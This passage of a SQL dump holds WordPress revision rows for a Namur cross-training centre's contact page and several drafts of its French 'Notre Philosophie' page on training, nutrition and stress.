(286, 1, '2013-07-03 20:45:05', '2013-07-03 20:45:05', '&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de Team Training, Duo Training, Personnal Trainer ou Coatching nutritionnel se font exclusivement par téléphone.\r\n\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nBowling et Squash de Namur\r\nChaussée de Perwez 251\r\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-03 20:45:05', '2013-07-03 20:45:05', '', 9, 'http://www.crosstrainingcenter.be/9-revision-16/', 0, 'revision', '', 0),
(287, 1, '2013-07-04 18:19:03', '2013-07-04 18:19:03', '&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de Team Training, Duo Training, Personnal Trainer ou Coatching nutritionnel se font exclusivement par téléphone.\r\n\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nBowling et Squash de Namur\r\nChaussée de Perwez 251\r\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-04 18:19:03', '2013-07-04 18:19:03', '', 9, 'http://www.crosstrainingcenter.be/9-revision-17/', 0, 'revision', '', 0),
(288, 1, '2013-07-04 18:50:46', '2013-07-04 18:50:46', '', 'illu1', '', 'inherit', 'open', 'open', '', 'illu1', '', '', '2013-07-04 18:50:46', '2013-07-04 18:50:46', '', 5, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/illu1.png', 0, 'attachment', 'image/png', 0),
(289, 1, '2013-07-03 20:45:08', '2013-07-03 20:45:08', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-102 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-103 alignleft\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;Afin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-03 20:45:08', '2013-07-03 20:45:08', '', 5, 'http://www.crosstrainingcenter.be/5-revision-35/', 0, 'revision', '', 0),
(290, 1, '2013-07-04 18:51:42', '2013-07-04 18:51:42', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/illu1.png\&quot;&gt;&lt;img class=\&quot;size-full wp-image-288 alignleft\&quot; alt=\&quot;illu1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/illu1.png\&quot; width=\&quot;271\&quot; height=\&quot;197\&quot; /&gt;&lt;/a&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-103 alignleft\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;Afin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 18:51:42', '2013-07-04 18:51:42', '', 5, 'http://www.crosstrainingcenter.be/5-revision-36/', 0, 'revision', '', 0),
(292, 1, '2013-07-04 18:52:28', '2013-07-04 18:52:28', '&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\n&amp;nbsp;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-103 alignleft\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;Afin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 18:52:28', '2013-07-04 18:52:28', '', 5, 'http://www.crosstrainingcenter.be/5-revision-38/', 0, 'revision', '', 0),
(294, 1, '2013-07-04 19:00:43', '2013-07-04 19:00:43', '&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\n&amp;nbsp;\r\n&lt;blockquote&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;/blockquote&gt;\r\n&lt;h1&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:00:43', '2013-07-04 19:00:43', '', 5, 'http://www.crosstrainingcenter.be/5-revision-40/', 0, 'revision', '', 0);
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(295, 1, '2013-07-04 19:01:11', '2013-07-04 19:01:11', '&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\n&amp;nbsp;\r\n&lt;blockquote&gt;\r\n&lt;h4&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.&lt;/h4&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;/blockquote&gt;\r\n&lt;h1&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:01:11', '2013-07-04 19:01:11', '', 5, 'http://www.crosstrainingcenter.be/5-revision-41/', 0, 'revision', '', 0),
(297, 1, '2013-07-04 19:04:28', '2013-07-04 19:04:28', '&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\n[caption id=\&quot;attachment_102\&quot; align=\&quot;alignnone\&quot; width=\&quot;300\&quot;]&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt; &lt;br&gt;&lt;br&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.[/caption]\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:04:28', '2013-07-04 19:04:28', '', 5, 'http://www.crosstrainingcenter.be/5-revision-43/', 0, 'revision', '', 0),
(296, 1, '2013-07-04 19:02:56', '2013-07-04 19:02:56', '&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\n[caption id=\&quot;attachment_102\&quot; align=\&quot;alignnone\&quot; width=\&quot;300\&quot;]&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt; Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.[/caption]\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:02:56', '2013-07-04 19:02:56', '', 5, 'http://www.crosstrainingcenter.be/5-revision-42/', 0, 'revision', '', 0),
(298, 1, '2013-07-04 19:07:45', '2013-07-04 19:07:45', '&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:07:45', '2013-07-04 19:07:45', '', 5, 'http://www.crosstrainingcenter.be/5-revision-44/', 0, 'revision', '', 0),
